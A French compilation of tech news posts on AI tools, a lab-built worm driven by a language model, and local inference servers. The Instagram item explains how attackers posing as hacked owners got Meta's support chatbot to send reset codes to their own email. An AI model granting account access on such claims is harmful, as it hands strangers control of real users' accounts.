Le mot choisi par les chercheurs est parlant. Un ver, en informatique, désigne un programme qui se recopie d'une machine à l'autre sans la moindre action de l'utilisateur, à la différence du virus traditionnel qui réclame l'ouverture d'un fichier piégé pour s'activer.

La nouveauté tient au cerveau de l'engin. Plutôt qu'une liste d'instructions figées, le prototype s'appuie sur un grand modèle de langage, la même famille d'intelligence artificielle que celle qui anime les assistants conversationnels grand public, pour examiner chaque machine rencontrée, en déduire les faiblesses et décider lui-même de la marche à suivre avant de se cloner sur la cible suivante.

Les chiffres communiqués donnent la mesure de l'expérience. Dans le réseau de test bâti pour l'occasion, le ver est parvenu à compromettre près de 75 % des machines et à se répliquer sur environ deux tiers d'entre elles, récoltant à chaque intrusion les identifiants et les points faibles qui lui ouvraient l'accès suivant.

Un détail mérite qu'on s'y arrête. Plusieurs des vulnérabilités exploitées n'avaient été rendues publiques qu'au cours de l'année 2026, donc après la date d'arrêt de l'apprentissage du modèle, et le programme a tout de même reconstruit des attaques fonctionnelles à partir des seules descriptions publiées. Il a raisonné, pas récité.

S'ajoute une caractéristique qui complique sérieusement la détection : l'intelligence artificielle s'exécute localement sur les machines déjà infectées, lesquelles lui prêtent la puissance de calcul nécessaire à son raisonnement, ce qui dispense le ver de contacter en permanence un serveur central et réduit d'autant les traces susceptibles d'alerter les équipes de sécurité.

Il faut toutefois remettre les choses à leur juste place. Le travail relève de la preuve de concept menée en laboratoire, dans un environnement fermé, par des universitaires dont l'objectif assumé est d'alerter la communauté de la sécurité avant que des acteurs réellement hostiles ne franchissent le même cap, et rien de tout cela ne circule aujourd'hui dans la nature.

Reste que le signal est difficile à ignorer. Ce qui bridait jusqu'ici la plupart des attaques automatisées tenait à leur rigidité, puisqu'elles échouaient dès que la cible s'écartait du scénario prévu, et c'est exactement cette limite qu'une intelligence artificielle capable de s'adapter fait tomber.

Du coup, les défenses qui reposent sur la reconnaissance de signatures déjà connues ou sur la lenteur habituelle des attaquants à exploiter une faille récente méritent d'être repensées, ce que les chercheurs assument en publiant leurs résultats pour offrir une longueur d'avance aux défenseurs.

Bref, l'IA ne se contente plus d'écrire du code, elle commence à conduire l'attaque elle-même.

Source : Security Affairs

iOS 27 : votre iPhone va se connecter tout seul à vos comptes pour réparer vos mots de passe pourris

À la WWDC 2026, Apple a survolé la nouveauté en quelques secondes. Dans iOS 27, l'app Mots de passe ne se contente plus de signaler vos identifiants vulnérables, elle les remplace toute seule, en se rendant sur chaque site à votre place.

Le déroulé ressemble à de la magie un peu inquiétante. Vous validez une fois, puis Apple Intelligence, le moteur d'intelligence artificielle maison, ouvre le site visé dans Safari, saisit vos identifiants stockés dans le Trousseau iCloud, navigue jusqu'au formulaire de changement de mot de passe, en génère un nouveau long et aléatoire, puis l'enregistre, sans que vous ayez à toucher quoi que ce soit.

Apple parle d'agent. Le mot décrit une IA qui n'attend plus une question pour répondre, mais qui clique, navigue et mène une tâche complète à votre place.

Cette app Mots de passe n'a que deux ans. Apple l'a lancée en 2024 avec iOS 18 pour extraire le Trousseau iCloud, son gestionnaire de mots de passe historique, du fond des Réglages où plus personne ne l'ouvrait. Depuis, elle détecte sans peine un code trop court, un identifiant réutilisé sur trente sites ou une adresse compromise dans une fuite de données.

Mais elle restait passive. Le bouton "Modifier le mot de passe" renvoyait l'utilisateur faire la corvée lui-même, sur le site, à la main. Résultat, presque personne ne s'y collait.

Apple jure que rien ne sort du Trousseau, chiffré en AES 256 bits, un standard que l'entreprise affirme ne pas savoir déchiffrer elle-même. Pendant l'opération, une Live Activity affiche la progression dans la Dynamic Island, ce bandeau interactif en haut de l'écran des iPhone récents.

L'inconnue tient en un chiffre. Combien de sites se laisseront réellement manœuvrer par cette IA ? Entre les pages de connexion maison, les formulaires exotiques et la double authentification par SMS, beaucoup risquent de bloquer l'opération en cours de route. Un développeur a estimé le taux de réussite à 3% des comptes. Apple, plus diplomate, évoque des "comptes éligibles", ce qui revient à reconnaître la limite.

Et puis il y a l'éternel problème européen. Comme tout repose sur Apple Intelligence, dont le déploiement dans l'Union européenne traîne depuis le départ pour cause de bras de fer réglementaire, la fonction risque encore de se faire attendre de ce côté de l'Atlantique. iOS 27 tourne déjà en bêta développeurs, passe en bêta publique en juillet et sortira pour tous en septembre.

Déléguer ce genre de corvée à une IA, sur le papier, c'est futé. En pratique, lâcher un agent seul sur son compte bancaire, c'est courageux.

Source : 9to5mac

Age of Empires II est aussi conscient que votre ChatGPT

Par : Korben ✨

Vous connaissez ce refrain qu'on entend partout dans la presse, comme quoi ChatGPT ou Claude "comprendrait vraiment" ce que vous racontez, qu'il aurait une "morale", une "intention" , voire bientôt une conscience ?

Bah Adrian de Wynter, chercheur principal chez Microsoft, vient d'y répondre de la plus belle des manières en prouvant que si c'est le cas, alors Age of Empires II a lui aussi des attributs très humains.

Et c'est on ne peut plus sérieux (enfin... presque).

En effet, dans son papier de recherche il explique qu'il s'est monté un petit réseau de neurones à l'intérieur du bon vieux AoE2, et nous explique tranquillement que n'importe quel système posé sur un "substrat" assez puissant (comprenez : le "moteur" sur lequel ça tourne, peu importe lequel) peut afficher ce genre de propriétés. Ça marche donc avec le jeu de Microsoft, mais aussi les LEGO, ou carrément l'agglomération de Boston.

Son raisonnement c'est que quand un fanboy IA (ou un employé d'Anthropic, loool) affirme qu'un LLM "a" une morale ou "comprend" le langage sans dire précisément comment il le mesure, il ne décrit pas vraiment la machine mais projette tout simplement ses attentes sur elle. Car les expériences ont beau rester les mêmes d'un substrat à l'autre, leur interprétation, elle, change selon ce qui les produit. Du coup, déclarer que ces attributs humains existent dans l'absolu, sans critère mesurable, mène soit à un raisonnement circulaire, soit à une conclusion qui ne dit rien de très probant.

Mais attention, je vous vois venir les Anti-IA Bro ! Il ne dit pas que les LLM sont nuls... Non, non, il dit juste qu'on les mesure mal.

À la place, de Wynter propose donc de travailler à partir d'une "hypothèse nulle", qui est un grand classique de la démarche scientifique consistant à ne plus partir du principe que l'IA pense, mais au contraire, partir de l'inverse. De se dire en fait qu'elle n'a rien d'unique, et c'est ensuite à l'expérience de prouver le contraire avec des mesures explicites. C'est d'après lui précisément ce qui manque à la tonne de papiers qui crient à l'"émergence" dès qu'un modèle fait un truc inattendu.

Et le bonhomme sait de quoi il parle puisque c'est déjà lui qui avait fait jouer GPT-4 à Doom en 2024, en s'inquiétant au passage de la facilité avec laquelle on pouvait lui faire tirer sur tout ce qui bouge. C'est aussi lui qui a épluché plus de 2000 publications sur les LLM pour montrer le manque de rigueur du domaine. Et en bonus de tout cela, il a démontré également que Age of Empires II était Turing-complet , donc capable en théorie de faire tourner n'importe quel calcul. Des gens "codaient" déjà dans le jeu depuis des lustres, mais en avoir une preuve formelle aujourd'hui, c'est cool !

Mais bon après derrière la vanne, y'a surtout un vrai sujet qui est que de prêter des intentions humaines à une IA, ça pousse surtout les gens à trop faire confiance à un chatbot, à lui confier des trucs intimes, parfois à s'y attacher pour de bon. Alors mettre un réseau de neurones dernier cri et une bonne vieille partie d'AoE2 sur le même plan, c'est sûr que c'est vexant pour l'ego de l'IA et de ses ingénieurs, mais carrément plus sain pour le nôtre !

Bref, la prochaine fois qu'on vous vend une IA "qui comprend" ou que vous penserez que seul ChatGPT vous comprend vraiment, repensez aux petits paysans qui coupent du bois dans Age of Empires qui sont tout aussi conscients que votre IA préférée.

Microsoft lance Intelligent Terminal, un terminal open source qui vous laisse choisir votre IA

Microsoft a présenté le 2 juin, pendant sa conférence développeurs Build 2026, une version expérimentale de son terminal baptisée Intelligent Terminal 0.1, un logiciel open source publié sous licence MIT qui intègre directement des assistants IA dans la fenêtre où l'on tape des commandes.

Pour situer le truc si vous êtes vraiment très noob, le terminal c'est cette interface en texte que les développeurs et les administrateurs système utilisent au quotidien pour lancer des commandes, compiler du code ou piloter un serveur à distance. Microsoft propose déjà Windows Terminal depuis des années, et Intelligent Terminal en est une déclinaison distincte, pas un remplacement.

L'élément central, c'est l'agent pane, un panneau ancré sur le côté de la fenêtre qui joue le rôle de copilote. Il lit en permanence ce qui s'affiche dans votre terminal, et quand une commande échoue, il détecte l'erreur et vous propose une explication ou un correctif.

Vous pouvez choisir de recevoir une simple notification dans la barre d'état, ou laisser l'assistant appliquer directement ses corrections selon la configuration que vous avez définie.

Il y a aussi une astuce intégrée à la palette de commandes : tapez un point d'interrogation suivi de votre demande, et l'outil lance une tâche en arrière-plan dans un onglet dédié, sans bloquer la session en cours. Pratique quand on veut déléguer une opération longue sans interrompre son travail.

Côté assistants, Microsoft a fait un choix ouvert. Par défaut, c'est GitHub Copilot CLI, l'assistant maison qui fonctionne en ligne de commande. Mais Intelligent Terminal accepte n'importe quel agent compatible avec l'Agent Client Protocol (ACP), une norme qui permet à différents assistants IA de venir se brancher sur le même outil.

Vous pouvez donc passer par Claude Code, l'assistant de codage signé Anthropic, le concurrent d'OpenAI, ou par Codex, l'équivalent maison d'OpenAI, à la place de la solution de Microsoft. C'est suffisamment rare chez l'éditeur de Windows pour être signalé.

Le logiciel s'installe depuis le Microsoft Store ou via la commande winget install Microsoft.IntelligentTerminal, et il se pose à côté de Windows Terminal sans le remplacer. Microsoft précise que si vous ne voulez pas d'IA dans votre terminal habituel, rien ne change pour vous.

Il y a quand même un détail qui coince, et c'est Phoronix, le site spécialisé dans l'actualité Linux, qui le relève : malgré son code ouvert publié sous licence MIT, Intelligent Terminal ne tourne pour le moment que sous Windows.

On parle aussi d'une version 0.1 estampillée expérimentale, ce qui annonce des bugs et des changements à venir avant une éventuelle version stable.

Bref, un terminal open source qui laisse l'utilisateur choisir son IA au lieu d'imposer la sienne, c'est un geste plutôt bien pensé de la part de Microsoft.

Source : Phoronix

Un ingénieur de Netflix crée une appli pour alléger ses factures d'IA, puis l'ouvre à tout le monde

Tejas Chopra, ingénieur senior chez Netflix, a bricolé un petit logiciel appelé Headroom qui s'attaque à un poste de dépense devenu douloureux dans toutes les boîtes qui carburent à l'IA : la facture en tokens, ces unités que les modèles de langage facturent au passage et qui correspondent en gros à des morceaux de mots.

Son constat de départ est sévère. Près de 90% de ce qu'on balance à un grand modèle de langage, le type d'IA qui fait tourner ChatGPT, serait selon lui de la redondance pure, du remplissage que la machine paie au prix fort sans en tirer la moindre valeur.

Headroom s'installe comme un proxy, c'est-à-dire un intermédiaire qui se glisse entre votre machine et l'IA, et il tourne en local sur le port 8787. Avant que la moindre requête ne file vers le modèle, il intercepte tout ce qui gonfle le contexte, l'historique de conversation, les logs (les journaux d'activité techniques de la machine), les sorties d'outils, les bouts de documentation que le système a jugés utiles, et il compresse l'ensemble.

Un routeur devine d'abord le type de contenu, puis l'envoie vers le bon compresseur. Du code part vers un module qui le réduit à sa structure logique, son arbre syntaxique si vous voulez. Le JSON et le HTML, eux, passent à la moulinette pour virer tout le code de remplissage répétitif.

Et si le modèle réclame finalement la version complète ? Headroom garde les originaux de côté dans une petite base locale, Redis ou SQLite, et laisse l'IA aller les rechercher à la demande grâce à des marqueurs et au protocole MCP, ce standard récent qui permet à un modèle d'appeler des outils extérieurs tout seul.

Les taux de compression dépendent de la matière. Les logs serveur fondent de 90%. Les sorties d'outils MCP, bourrées de JSON répétitif, perdent à peu près 70%.

Présenté la semaine dernière à l'Open Source Summit, Headroom aurait déjà épargné quelque 700 000 dollars à ses utilisateurs, soit 200 milliards de tokens récupérés pour servir ailleurs.

Le projet reste officieux. Plusieurs équipes de Netflix s'en servent, mais ce n'est pas un produit maison estampillé par le studio.

À noter que Chopra a une explication assez simple à ce succès : beaucoup de ses utilisateurs sont des gens qui se sont fait sérieusement échauder par le coût des tokens, plus que par n'importe quoi d'autre.

Voir un ingénieur régler son propre problème de facture puis filer la solution gratuitement, plutôt que d'en faire une startup, c'est suffisamment rare pour qu'on le souligne.

Source : The Register

Instagram - Le chatbot de Meta donnait les clés des comptes

Par : Korben ✨

Le support de Meta, quand vous contactez Instagram pour un souci de compte, c'est 100% IA maintenant. Je l'ai fait y'a pas longtemps et c'est assez surprenant, même s'il faut le reconnaître, ça fonctionne bien. Et si je vous parle de ça ce matin, c'est que pendant des semaines, ce chatbot a refilé l'accès à des comptes à qui savait lui raconter la bonne histoire.

Et c'est pas un exploit de génie ni une faille bien planquée mais juste un bot de support trop serviable à qui on explique qu'on s'est fait pirater, et qui envoie le code de réinitialisation... sur l'adresse mail de l'attaquant. Oui, il est aussi précautionneux de vos accès que votre gardien d'immeuble ^^.

En gros l'attaquant écrit au support IA, prétend être le proprio d'un compte "piraté", demande à recevoir les codes sur son email et l'IA accepte l'adresse sans sourciller. Hop, un petit lien de reset, un nouveau mot de passe, et le vrai propriétaire ne voit rien venir !

Bon, ce n'était pas magique non plus, mais une fois le bot embobiné, il lâchait l'accès.

Le truc à retenir surtout, c'est que la double authentification , elle, a bien fait barrage. Les comptes qui l'avaient activée n'ont pas été pris, donc si vous traînez sur Insta sans, allez l'activer tout de suite !

Parce que les dégâts ont été bien réels. Des comptes à grosse visibilité y sont passés, dont le compte dormant @obamawhitehouse et ses millions d'abonnés, qui s'est remis à publier n'importe quoi avant d'être nettoyé.

Des groupes Telegram s'étaient montés autour de ces prises de contrôle, des chercheurs comme ZachXBT ont suivi le mouvement, et les pseudos courts comme @hey valant une petite fortune se sont retrouvés sur le marché noir. En gros, un vrai business du vol de compte a été monté sur le dos du chatbot !

Y'a 10 ans, c'était déjà la récupération de compte qui faisait tomber des comptes Facebook encore aujourd'hui le maillon faible n'a pas changé...

Meta a corrigé le problème en urgence et dit avoir sécurisé les comptes touchés.

Si vous pensez être victime, direction "Mot de passe oublié" puis "Mon compte a été piraté", et une fois récupéré, vérifiez bien que l'email et le numéro liés au compte sont les vôtres (l'attaquant a pu les remplacer) avant de dégager les sessions inconnues. Pour le reste, un petit tour par les bons réflexes de sécurité ne fait jamais de mal.

Bref, activez la double authentification et j'espère qu'un jour, les grosses boites arrêteront d'utiliser l'IA pour garder leurs clés.

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Dynamic Workflows - Quand Claude Code orchestre des centaines d'agents

Par : Korben ✨

Faut le reconnaître, malgré toute la bonne volonté qu'elle peut y mettre, y'a encore des tâches trop grosses pour être réalisées en une seule passe avec de l'IA, du genre auditer votre projet de Saas en mousse en intégralité ou traiter les milliers de fichiers que vous récupérez sur le darkweb (ça va, j'rigole mes petits Pablo). Hé bien c'est exactement ce que les dynamic workflows d'Anthropic, sortis hier avec Opus 4.8 dans Claude Code, viennent régler.

Et comme c'est encore un nouveau truc relou à savoir, je viens vous expliquer comment tout ceci fonctionne et dans quels cas les utiliser.

En fait, grâce à ça, au lieu de bosser tout seul en une fois, Claude écrit lui-même un petit script qui lance des dizaines, voire des centaines de sous-agents en parallèle, les fait se vérifier entre eux, et vous rend le résultat une fois que tout converge. Vous décrivez le chantier et lui s'occupe de l'orchestration et puis c'est tout !

Le problème que ça règle

Car jusqu'ici, un agent IA bossait en gros comme un employé seul à son bureau, avec une demande, une passe, une réponse. Ça marche donc très bien pour un bug isolé ou un bout de code mais dès que le chantier devient énorme, genre rechercher une faille dans tout un projet complexe ou reconstruire une API à partir de milliers de fichiers, là y'a plus personne... la passe unique sature et oublie alors des trucs en route.

Les dynamic workflows cassent donc ce plafond en découpant le boulot en sous-tâches confiées à plein d'agents qui tournent alors tous en même temps, et comme la coordination se passe en dehors de la conversation, pas d'inquiétude, le plan ne déraillera pas, même quand la tâche sera giganormouuuuus !

Comment ça tourne ?

En fait, quand vous lancez un workflow, Claude planifie à la volée selon votre demande, découpe en sous-tâches, et répartit le tout sur des sous-agents en parallèle. Et chaque résultat est ensuite scrupuleusement vérifié avant d'être réintégré à la conversation principale.

Et comme c'est bien pensé, cette vérification est adversariale, ce qui veut dire que des agents attaquent le problème sous des angles indépendants pendant que d'autres essaient activement de démolir ce que les premiers ont trouvé. Ça tourne donc en boucle jusqu'à ce que les réponses convergent, ce qui élimine pas mal de conneries plausibles qui seraient fausses.

Autre bon point avec cette nouvelle technique, c'est la progression qui est sauvegardée au fil de l'eau. Comme ça si un job se fait interrompre, il repart où il en était dans la même session, au lieu de tout recommencer comme un débile. Et côté garde-fous, sachez qu'un workflow plafonnera max à 16 agents en parallèle et max 1000 agents au total par run, histoire que ça ne parte pas en cachuète !

Comment l'activer ?

Il y a 2 façons de lancer cette armée d'agents, et la première ne demande aucun réglage.

Vous demandez juste à Claude de créer un workflow, littéralement avec un truc du genre "crée un workflow pour faire X". Vous verrez, la première fois qu'un workflow se déclenchera, Claude Code vous montrera ce qu'il s'apprête à lancer et vous demandera de confirmer la chose. Comme ça, pas de surprise, c'est vous le boss et c'est vous qui validez avant que ça parte.

Mais y'a aussi la méthode automatique, qui consiste à activer un réglage maison appelé ultracode depuis le menu d'effort (/effort) durant une session en cours, qui pousse le raisonnement très haut (xhigh) et laisse ensuite Claude décider tout seul quand sortir un workflow pour les tâches qui le méritent.

Pour profiter de cette nouvelle feature, il vous faut Claude Code en version 2.1.154 ou plus récente, et ça tourne aussi bien en ligne de commande que sur l'app desktop ou l'extension VS Code. Côté abonnement, c'est dispo sur tous les plans payants... Sur le plan Pro faudra juste l'activer à la main dans le menu /config, alors que sur Max, Team et Enterprise c'est présent d'office.

Ce que ça donne en vrai

Pour la chasse aux bugs ou les audits de sécurité sur un dépôt entier, où Claude fouille en parallèle puis revérifie chaque trouvaille de façon indépendante, c'est top ! Pour les grosses migrations aussi, genre changer de framework ou porter un langage vers un autre sur des milliers de fichiers c'est le top aussi surtout que comme je vous le disais, quand c'est critique, vaut mieux que ce soit vérifié deux fois plutôt qu'une !

Ils l'ont utilisé par exemple pour le portage de Bun du langage Zig vers Rust. Cela a pris 11 jours entre le premier commit et la fusion, avec des centaines d'agents en parallèle et deux relecteurs sur chacun des fichiers et au final ce sont plus de 750 000 lignes de Rust qui ont été réécrites. La société Klarna, de son côté, s'en sert pour repérer le code mort que l'analyse statique classique laissait passer.

Ce que j'en fais

Perso, ce que je trouve le plus utile, c'est pour les chantiers que je repoussais justement parce qu'ils étaient trop gros pour une seule session. Passer en revue le code de mon site de fond en comble (ce que j'ai fait ce matin), ou encore bosser plus efficacement sur le recompilateur que je suis en train de créer (je vous en recause bientôt..)

Le prix à payer

Évidemment, je suis lucide, ça a un coût et Anthropic prévient noir sur blanc qu'un dynamic workflow bouffe nettement plus de tokens qu'une session classique. Bah oui, des centaines d'agents qui tournent en parallèle, forcément, ça consomme à fond. Du coup leur conseil officiel, c'est de commencer sur une tâche bien cadrée pour prendre la mesure de ce que ça pompe avant de lâcher l'outil sur un gros morceau. C'est totalement ce que je n'ai pas fait ^^ mais je suis un punk, que voulez-vous !

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Pax Historia - Le jeu IA qui vous laisse réécrire l'Histoire

Par : Korben ✨

C'est mon plus jeune fils qui m'a fait découvrir ça un soir, et comme j'ai trouvé ça top, bah je vous en parle. C'est un jeu web nommé Pax Historia et ça a été créé par deux colocataires de fac, Eli Bullock-Papa et Ryan Zhang, sur un coin de table durant un hackathon. Et ce n'est ni plus ni moins qu'un bac à sable d'histoire alternative où c'est une IA qui fait vivre le monde autour de vous, un peu comme à son époque, " Un monde meilleur " de FibreTigre.

Dans Pax Historia, vous choisissez un pays et un moment de l'Histoire, et vous réécrivez toute la suite... Et quand je dis réécrire, c'est pas cliquer dans des menus déroulants, non non, là vous tapez en langage naturel ce que vous voulez faire, vous proposez une alliance au pays d'à côté, vous menacez, vous négociez un protectorat, vous déclarez une guerre... et l'IA en face vous répond comme le ferait une vraie chancellerie. Le moteur du jeu est donc carrément un grand modèle de langage (LLM) qui génère chaque réaction à la volée, ce qui ouvre un champ des possibles bien plus large qu'un jeu de stratégie classique.

Dans ce jeu, quand vous annoncez quelque chose, le monde change car les autres nations réagissent, les frontières bougent sur la carte, et de nouveaux foyers de tension apparaissent. Et le truc que j'adore, c'est que le ton de vos messages compte énormément.

Si vous arrivez avec des arguments construits et un minimum de diplomatie, vous réussirez à tisser des relations. Par contre, si vous balancez des menaces creuses comme quand vous êtes sur Twitter, vous transformez vos voisins en ennemis en moins de 2 tours. On est exactement entre le RISK et une vraie partie de Diplomacy, sauf que l'adversaire improvise et qu'il ne vous laisse jamais rejouer le même coup deux fois.

Screenshot

Pour démarrer, vous pouvez partir sur les temps modernes, ou la Seconde Guerre mondiale, parfaits pour se faire la main, mais il y a surtout les 4000 et quelques scénarios créés par la communauté. Ces derniers sont rangés en plusieurs familles, Historical pour les vraies dates de notre Histoire, Alt-Historical pour les uchronies, Historical Fiction pour les récits romancés, et Fantasy ou Science-Fiction pour les mondes complètement inventés sans aucun lien avec le réel (Genre Starwars). Moi, vu que j'adore réimaginer l'Histoire, je me suis rué sur l'Alt-Historical sans hésiter mais si rien ne vous convient, y'a aussi l'option "Play as anything" qui vous laisse incarner à peu près n'importe quoi, une cité-État imaginaire, une faction, ce que vous voulez.

Et autre truc cool, vous pouvez aussi avancer dans le temps... Vous faites défiler les années et le monde évolue à partir de vos dernières actions et comme ça vous pouvez voir cet effet papillon que vous avez initié.

Vous pouvez même fabriquer votre propre monde puisque le mode Create embarque un éditeur de carte où vous dessinez des régions, vous les attribuez à des pays, vous posez le contexte historique et les relations diplomatiques de départ.

Et c'est un vrai jeu de stratègie, parce qu'il faut anticiper plusieurs coups à l'avance. Vous pouvez choisir un niveau de difficulté qui va de Very Easy à Impossible, le mode Normal étant calé pour rester réaliste. Vous choisissez aussi la qualité de l'IA, parce que derrière, le jeu fait tourner une trentaine de modèles différents via OpenRouter, des trucs d'OpenAI, d'Anthropic, de Google, et des modèles open source. Attention par contre, plus le modèle est costaud, plus il bouffe des tokens, donc sauf si vous aimez tomber en rade en plein milieu d'une guerre et être obligé de sortir la CB pour en racheter, démarrez avec les options les moins chères.

Et surtout, comme l'arme principale dans Pax Historia, c'est votre façon de formuler les choses, votre victoire dépend en grande partie de votre talent à argumenter. C'est du prompt engineering déguisé en grand jeu de stratégie, et je trouve que ça rejoint pas mal ce genre d'histoires où des modèles apprennent l'art de la persuasion . Le revers de la médaille, c'est que l'IA est encore beaucoup trop malléable du coup avec la bonne tournure de phrase, vous pouvez la convaincre de presque tout, un peu comme cette IA qu'on a baratinée pour lui faire lâcher 47 000 dollars .

Bref, si comme moi vous aimez triturer l'Histoire et réfléchir trois coups à l'avance, allez tester Pax Historia . C'est encore en alpha, mais j'ai trouvé l'idée brillante.

WordPress Workspace - L'agent IA d'Automattic

Par : Korben ✨

Si comme moi, vous bloguez encore à l'ancienne, c'est à dire depuis l'interface web de WordPress.com, sachez qu'Automattic vient de balancer une app pour Mac qui s'est donné pour mission de vraiment bousculer votre façon d'écrire.

WordPress Workspace est donc un éditeur de site, un agent IA, un outil de prise de note... Bref, un outil fourre-tout qui est en réalité un agent IA branché sur votre contenu et capable aussi d'uploader des médias vers la médiathèque de votre site. Ça se présente donc comme un chat auquel on peut demander tout et n'importe quoi, du style "Voici mon article [TEXTE]. Publie le" ou encore "J'ai la flemme, écris moi un article sur ça : [SUJET]".

Vous pouvez aussi l'utiliser pour interroger votre site web, corriger des trucs, mettre à jour des articles...etc.

Le DMG se télécharge en direct depuis le GitHub d'Automattic , et c'est entièrement gratuit avec n'importe quel plan WordPress.com durant la bêta. Et ça fonctionne aussi avec les sites auto-hébergés comme le mien, pour peu que vous l'ayez lié avec Jetpack.

Ce qui est cool avec cet outil c'est surtout que c'est un agent qui connaît déjà votre site WordPress, son contenu, ses médias, ses guidelines et les permissions liées à votre compte. Donc ça va vite...

Au menu des fonctionnalités, vous aurez de la dictée vocale qui s'alignera sur le ton du site, l'envoi de captures d'écran que vous balancez directement dans l'outil, et un raccourci clavier global qui invoque l'agent depuis n'importe quelle app Mac où vous écrivez, même hors WordPress.

Côté multi-sites, vous pouvez aussi naviguer entre plusieurs sites, où chacun devient son propre workspace avec ses propres réglages et ses propres "guidelines" comme on dit, déjà mémorisées.

Sur la roadmap, Automattic prépare une fonctionnalité Guidelines dans le cœur de WordPress, plus des Memories (apprentissage continu de l'agent), des Skills (capacités partageables en équipe) et des Artifacts (stockage de contenu en cours). L'objectif est donc plutôt clair : Ils veulent transformer WordPress en couche de contexte permanente pour les outils IA, et plus simplement en CMS où on dépose des articles.

Donc à tester si vous publiez régulièrement sur WordPress.

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Lemonade - L'IA locale sur NPU AMD, GPU et Mac

Par : Korben ✨

Vous n'avez pas de Mac Silicon, mais vous avez vu passer mon article de ce matin sur vLLM-MLX et son serveur d'IA local ? Hé bien bonne nouvelle, je suis tombé ce midi sur Lemonade SDK , un serveur d'IA local communautaire sponsorisé par AMD (et largement codé par leurs ingénieurs), qui joue dans la même cour, mais côté PC + Mac !

C'est la même logique qu'avec vLLM-MLX, vous installez le serveur (un paquet clé en main selon votre OS, pas de bidouille pip), et il expose un endpoint compatible API OpenAI sur http://localhost:13305/api/v1. Vos scripts tapent dessus au lieu d'envoyer vos prompts, et votre pognon, chez OpenAI.

Le démarrage tient en une ligne. Un lemonade run Gemma-4-E2B-it-GGUF lance un modèle, et un lemonade launch claude branche carrément Claude Code sur votre machine.

Sauf que là où vLLM-MLX s'appuie sur MLX pour les puces Apple, Lemonade vise les NPU Ryzen AI et les GPU Radeon. Et c'est tout l'intérêt du truc car depuis la 10.0 sortie en mars, le NPU XDNA2 des machines Ryzen AI récentes sert enfin à faire tourner des LLM sous Linux, et plus juste à décorer la fiche technique !

La 10.5 apporte également 2 nouveautés qui valent le coup. D'abord, le support macOS passe de bêta à officiel. Toutes les grosses fonctions sont validées sur Mac (le texte via llama.cpp et Metal, le reste via les autres moteurs embarqués) et ensuite, ça bascule sur ROCm 7.13 pour llama.cpp et la génération d'images.

J'ai pas de PC Ryzen AI sous la main pour tâter du fameux NPU, donc j'ai fait mes tests sur mon GPU Metal à moi. Notez qu'un lemonade list crache tout le catalogue, Qwen, Gemma, Llama, DeepSeek et compagnie.

Et ça dépote ! Un petit Qwen3-0.6B dans le chat intégré tourne à ~96 tokens par seconde avec mes 32 Go de RAM, c'est donc une réponse quasi instantanée. Après un modèle de 0,6 milliard de paramètres, c'est le poids plume du ring, donc comptez nettement moins sur un gros 8B, mais ça tourne nickel.

Du coup, sur Mac, vLLM-MLX joue la carte du natif Apple via MLX, alors que l'intérêt de Lemonade c'est surtout le cross-plateforme et le NPU Ryzen AI. Et comparé à Ollama , vous gagnez ce NPU mais aussi les fonctions audio (synthèse vocale, transcription) + un gestionnaire graphique de modèles pour piocher vos modèles. Et tout ça est sous licence Apache 2.0.

Bref, que vous soyez team Mac ou team Ryzen, c'est zéro ligne de facture API en fin de mois et surtout vos données qui restent chez vous !

Source : Phoronix

vLLM-MLX - Pour remplacer l'API d'OpenAI par votre propre Mac

Par : Korben ✨

Si vous avez un Mac avec une puce Silicon et que vous en avez marre de raquer pour des tokens à chaque requête API à un LLM à la con, y'a un projet qui mérite, je trouve, le détour. Ça s'appelle vLLM-MLX , et c'est un serveur d'inférence local qui transforme votre Mac en machine à générer du texte, à analyser des images et vidéos, et même capable de gérer de l'audio... et tout ça sans que l'inférence ne passe par le cloud des zaméricains.

Pour installer le bouzin, ça se fait avec :

uv tool install vllm-mlx

Puis vous lancez suivi du nom d'un modèle et hop, vous obtenez un endpoint API compatible OpenAI qui tourne en local sur votre machine :

vllm-mlx serve %MODEL%

Au début je pensais que j'étais parti pour une séance de configuration qui aller durer des heures mais en fait non. Par exemple moi j'ai lancé ça :

vllm-mlx serve mlx-community/GLM-4.7-Flash-4bit

Vous pouvez aussi opter pour un modèle plus petit :

vllm-mlx serve mlx-community/Qwen2.5-Coder-3B-Instruct-4bit

Du coup, si vos scripts causent déjà avec l'API d'OpenAI, basculer sur ça en local rien qu'en changeant l'URL de base, c'est un jeu d'enfant !

Côté perfs, et là je reprends les benchmarks officiels du repo (M4 Max 128 Go, mono-requête), on tourne autour de 418 tok/s sur un petit Qwen3-0.6B en 8-bit. Ensuite, ça tombe à environ 206 tok/s sur du Llama-3.2-3B et 128 tok/s sur un gros Qwen3-30B-A3B.

Le débit grimpe aussi quand plusieurs requêtes tapent en même temps à la porte... Donc sur les petits modèles ça file vite, mais par contre, sur les gros, faudra pas s'attendre à la même vitesse, hein... Et un Qwen3-30B vous bouffera dans les 18 Go de RAM unifiée, donc sur un Mac à 8 ou 16 Go vous pouvez oublier les gros modèles (Mais qui n'a pas encore un Mac Studio 128 Go ?? hein ? Quiiii ?).

Et c'est pas juste un serveur de texte comme je vous le disais, puisque le projet gère les modèles de vision type Gemma 3, Qwen3-VL, Pixtral, pour analyser images et les vidéos, et côté audio y'a du TTS natif (avec Kokoro, Chatterbox et compagnie) + de la transcription Whisper qui monte jusqu'à 197x le temps réel avec whisper-tiny, ou 55x avec le modèle turbo.

Attention par contre, il vous faudra la version avec l'extra audio (espeak-ng et un modèle spaCy), car c'est pas inclus dans la commande de base. Mais une fois en place, y a de quoi se monter un vrai assistant vocal 100% local et causer synthèse vocale sans louer un GPU chez Azure ou AWS.

Même le endpoint /v1/messages est compatible Anthropic, ce qui permet de brancher Claude Code ou OpenCode directement sur votre serveur comme je vous l'expliquais ici . Suffit d'utiliser ces variables d'environnement et votre éditeur IA ira taper sur votre propre machine plutôt que sur des serveurs distants.

unset ANTHROPIC_API_KEY
export ANTHROPIC_BASE_URL="http://127.0.0.1:8000"
export ANTHROPIC_AUTH_TOKEN="dummy"
claude --model mlx-community/GLM-4.7-Flash-4bit

ou :

claude --model mlx-community/Qwen2.5-Coder-3B-Instruct-4bit

Avouez que c'est trop cool hein ? Vous pouvez trouver tous les modèles pour MLX ici sur HugginFace si vous cherchez un truc plus spécifique.

Y'a aussi un endpoint d'embeddings pour faire du RAG en local, de l'appel d'outils externe via MCP avec une douzaine de parsers et le support des modèles de raisonnement qui extraient proprement le processus de réflexion entre les balises <think> pour Qwen3 et DeepSeek-R1.

J'adore !

Côté bidouille si vous vous lancer, sachez qu'il y a 2 ou 3 flags vachement utiles à connaitre.

